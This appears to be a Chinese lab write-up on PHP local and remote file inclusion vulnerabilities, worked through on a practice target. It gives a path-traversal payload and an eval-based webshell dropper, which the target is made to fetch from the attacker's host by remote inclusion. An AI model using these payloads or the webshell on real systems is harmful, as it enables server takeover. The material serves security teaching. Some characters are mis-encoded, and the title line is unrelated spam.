wordpress 融資谷歌seo網(wǎng)絡(luò)公司
文章目錄
- 1、文件包含漏洞概述
- 1.1 文件包含漏洞
- 1.2 相關(guān)函數(shù)
- 1.3 文件包含漏洞分類
- 2、File Inclusion(local)
- 3、File Inclusion(remote)
1、文件包含漏洞概述
1.1 文件包含漏洞
??文件包含漏洞:在web后臺開發(fā)中,程序員往往為了提高效率以及讓代碼看起來更簡潔,會使用“包含”函數(shù)功能。比如把一系列功能函數(shù)都寫進(jìn)function.php
中,之后當(dāng)某個(gè)文件需要調(diào)用的時(shí)候就直接在文件頭中寫上一句<?php include function.php?>
就可以調(diào)用函數(shù)代碼。但有些時(shí)候,因?yàn)榫W(wǎng)站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于開發(fā)人員沒有對要包含的這個(gè)文件進(jìn)行安全考慮,就導(dǎo)致攻擊者可以通過修改包含文件的位置來讓后臺執(zhí)行任意文件(代碼)。
??需要注意的是,php的文件包含不管文件后綴名是什么,只要包含php代碼,就可以被當(dāng)作php代碼解析。
1.2 相關(guān)函數(shù)
??文件包含包含函數(shù):在php中,通過include()、include_once()
或require()、require_once()
語句,可以將php文件的內(nèi)容插入另一個(gè)php文件(在服務(wù)器執(zhí)行它之前)。include()
和include_once()
的區(qū)別在于include_once()
只能包含一次相同的文件。
??include
和require
函數(shù)在錯(cuò)誤處理方面有所不同:
- require會生成致命錯(cuò)誤(E_COMPILE_ERROR)并停止腳本;
- include只生成警告(E_WARNING),并且腳本會繼續(xù)。
1.3 文件包含漏洞分類
??根據(jù)不同的配置環(huán)境,文件包含漏洞分為本地文件包含漏洞和遠(yuǎn)程文件包含漏洞:
(1)本地文件包含漏洞
??僅能夠?qū)Ψ?wù)器本地的文件進(jìn)行包含,由于服務(wù)器上的文件并不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些固定的系統(tǒng)配置文件,從而讀取系統(tǒng)敏感信息。
(2)遠(yuǎn)程文件包含漏洞
??能夠通過url地址對遠(yuǎn)程的文件進(jìn)行包含,這意味著攻擊者可以傳入任意的代碼。
??此處的本地指的是服務(wù)器端,遠(yuǎn)程指的是非服務(wù)器端。
2、File Inclusion(local)
(1)在搜索框中選擇kobe之后1,url變?yōu)?#xff1a;http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
??觀察到url中出現(xiàn)
filename=file1.php
,那么該目錄下是否存在fileX.php文件呢?
(2)發(fā)現(xiàn)隱藏文件,對文件名進(jìn)行爆破,可以發(fā)現(xiàn)file6、file7、file8、file9、file10、file100返回異常。說明存在隱藏文件。
(3)讀取不同文件夾的文件
??filename=file9.php
返回了報(bào)錯(cuò),通過這個(gè)報(bào)錯(cuò),可以知道fi_local.php
中用來進(jìn)行文件包含的函數(shù)是include()
,并且包含的文件路徑為與fi_local.php
同文件夾下include
文件夾中的文件。
??payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4
,可以發(fā)現(xiàn)現(xiàn)在include函數(shù)中的相對路徑已經(jīng)跳轉(zhuǎn)到了/app/vul
路徑下了。也就是說只要我們知道某個(gè)文件的相對位置,就可以訪問它。
3、File Inclusion(remote)
(1)遠(yuǎn)程文件包含這里,同樣是通過傳遞一個(gè)文件名進(jìn)行包含。
(2)filename改為www.baidu.com后,會直接訪問百度;
(3)在 Kali 上,在 /var/www/html/ 中新建一個(gè)shell.txt,輸入下面的內(nèi)容:
<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[cmd]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
??同時(shí),使用service apache2 start
開始apache服務(wù),構(gòu)造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交
??貌似什么也沒發(fā)生,我們需要訪問生成的shell.php文件就可以拿到webshell了。
(4)連接webshell
??另外,遠(yuǎn)程包含漏洞前提:如果使用 includer 和 require ,則需要 php.ini 配置如下:
allow_url_fopen = on;(默認(rèn)開)
allow_url_include = on;(默認(rèn)關(guān))